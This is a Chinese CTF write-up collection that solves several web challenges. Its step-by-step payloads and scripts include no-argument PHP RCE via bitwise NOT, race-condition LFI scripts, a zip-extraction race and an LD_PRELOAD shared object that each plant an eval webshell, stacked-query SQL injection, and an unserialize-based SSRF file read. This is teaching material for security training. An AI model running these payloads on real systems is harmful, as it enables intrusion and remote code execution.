[鹏城杯 2022]简单的php
首先打开题目得到:
代码:
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
分析代码发现第一个判断语句过滤了字母数字和一些字符,就可以考虑用取反,异化来绕过
第二个判断限定了只能用函数的方式,并且函数里面不能有参数,例如:system() 或者 system(fun())能过判断
所有是无参数,REC
首先可以想到用php中的函数
getallheaders()获取请求头
current()获取第一键值
大体思路是:利用getallheaders()获取我们在请求头传入的命令,在用current()获取第一值,所以我们的命令要在第一个键值对,在利用system执行系统函数
所以传入的是:system(current(getallheaders()));
当我们在进行取反时是:~取反函数字符
这样执行php会报错,我们可以加入一些无效的字符
来解决报错的问题例如:[!%FF]
php脚本:
<?php
show_source(__FILE__);
//[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]()));
$c1='system';
$c2='+';
$c3='getallheaders';
//https://blog.csdn.net/qq_62260856/article/details/129535572
$p1=urlencode(~$c1);
$p2=urlencode(~$c2);
$p3=urlencode(~$c3);
echo '<br>'.'[~'.$p1.']'.'[!%FF]'.'('.'[~'.$p2.']'.'[!%FF]'.'('.'[~'.$p3.']'.'[!%FF]'.'('.')'.')'.');';
?>
得到payload:
[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]()));
利用burpsuite得到flag
[RoarCTF 2019]Easy Java
首先打开题目得到一个登陆界面:
通过搜寻信息得到:
url:http://313a380f-b897-494f-b5ae-f6d09ad9d5c3.node4.buuoj.cn:81/Download?filename=help.docx
发现存在信息泄露:
打开文件得到xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
审计发现,flag在/com/wm/ctf/FlagController.class
的文件中
利用filename读取FlagController.class文件
得到:
得到FlagController.class,利用工具jd-gui反编译class文件得到java文件:
得到flag解码得到flag
[NPUCTF2020]ezinclude
大开题目得到:
收集信息在源码处得到
传入name和pass试试
得到:
发现Hash值不会会变化,猜测Hash是应该是secret的值加密的结果
让name值为空,pss也等于Hash值试试:
登陆成功得到地址:flflflflag.php
利用burpsuite发包得到:
发现存在文件包含,get一个file
发现可以利用php伪协议读取源码但没什么用
于是就在信息收集扫描目录发现dir.php目录
利用php7 segment fault特性(CVE-2018-14884)
简单的说就是,php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样php的垃圾回收机制就不会继续执行,导致post的文件会保存在系统的缓冲目录,我们只需要获取保存在文件名,就可以包含恶意代码。
过滤器会导致php崩溃,如果同时上传一个文件,那么这个tmp file就会一直留在tmp目录,临时文件会保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名
源代码将GET参数进行文件包含
所有我们利用file文件包含执行php://filter/string.strip_tags/resource=/etc/passwd
页面就会崩溃,这时候我们通过脚本上传post文件,文件中包含恶意代码就可以getshell 了
import requests
from io import BytesIO
payload ="<?php phpinfo();?>"
file_data={
'file': BytesIO(payload.encode())
}
url="http://65b005d1-4164-4a10-8ed7-494a0db6e72a.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)
print(r.text)
利用文件包含执行代码得到flag:
[第五空间 2021]EasyCleanup
首先打开题目得到:
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
通过测试发现利用eval执行函数不能得到flag
开始考虑利用函数include
PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。
首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含
然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
访问phpinfo查看session开启情况
这种利用方式需要满足下面几个条件:
目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID
编写python竞争脚本执行命令:
import io
import requests
import threading # 多线程
from cffi.backend_ctypes import xrange
sessid = '0'
target = 'http://1.14.71.254:28231'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
得到flag
[鹏城杯 2022]压缩包
打开题目得到源码
<?php
highlight_file(__FILE__);
function removedir($dir){
$list= scandir($dir);
foreach ($list as $value) {
if(is_file($dir.'/'.$value)){
unlink($dir.'/'.$value);
}else if($value!="."&&$value!=".."){
removedir($dir.'/'.$value);
}
}
}
function unzip($filename){
$result = [];
$zip = new ZipArchive();
$zip->open($filename);
$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
if(!is_dir($dir)){
mkdir($dir);
}
if($zip->extractTo($dir)){
foreach (scandir($dir) as $value) {
$file_ext=strrchr($value, '.');
$file_ext=strtolower($file_ext); //转换为小写
$file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext=trim($file_ext); //收尾去空
if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
removedir($dir);
}
if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
if(is_file($dir."/".$value)){
unlink($dir."/".$value);
}else{
if($value!="."&&$value!="..")
array_push($result,$value);
}
}
}
$zip->close();
unlink($filename);
return json_encode($result);
}else{
return false;
}
}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content);
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>
进行代码审计发现存代码审计,发现有文件写功能
但不能利用,发现有压缩包,并且还是对压缩包进行解压后在进行文件判断删除工作
所以我们可以利用还没有来得及删除文件的时候执行我们的脚本利用它生产一句话木马得到webshell
压缩包里面的生成木马的一句话脚本
<?php
system('echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d>/var/www/html/shell.php');
system('ls /');
?>
python竞争脚本
import requests
import hashlib
import threading
import base64
url = "http://1.14.71.254:28357/"
sess=requests.session()
r = open("shell.zip", "rb").read()
content = base64.b64encode(r)
data={
'content': content
}
m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):
while True:
resp=session.post(url,data=data)
def read(session):
while True:
resp=session.get(url+f'static/upload/{md}/shell.php')
if resp.status_code==200:
print("success")
if __name__=="__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
得到webshell,get flag:
[强网杯 2019]随便注
方法一:
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
方法二:
1、将select语句用16进制编码
2,利用prepare…from…是预处理语句,会进行编码转换。
3,execute用来执行由SQLPrepare创建的SQL语句。
4,SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值
得到payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
方法三:
1、利用concat把过滤的字符连接起来
2、定义一条SQL语句
3、执行定义的语句
payload:
1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
[虎符CTF 2022]ezphp
分析一下源码发现有:putenv($_GET[“env”])
考点:Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件。如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,我们可以通过重复发包so造成文件缓存,然后用 LD_PRELOAD 去加载我们这个动态链接库
所有思路就是上传超大请求正文产生临时文件
exp.so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d>/var/www/html/shell.php");
}
编译:
gcc -shared -fPIC exp.c -o exp.so
exp.py
import threading, requests
URL2 = f'http://43.142.108.3:28038/'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False
def uploader():
print('[+] starting uploader')
with open("exp.so","rb") as f:
data1 = f.read()+b'0'*1024*1000
#print(data1)
while not done:
requests.get(URL2, data=data1)
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(URL2, params={
'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
})
except:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
获取shell得到flag
[网鼎杯 2018]Fakebook
进行信息收集发现有sql注入:
还有网站备份源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现有get(),方法可以利用SSRF漏洞file伪协议
进行SQL注入发现没有flag
就考虑用SQL语句改变blog的值造成SSRF的漏洞利用
payload:
0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23
源码base64解码得到flag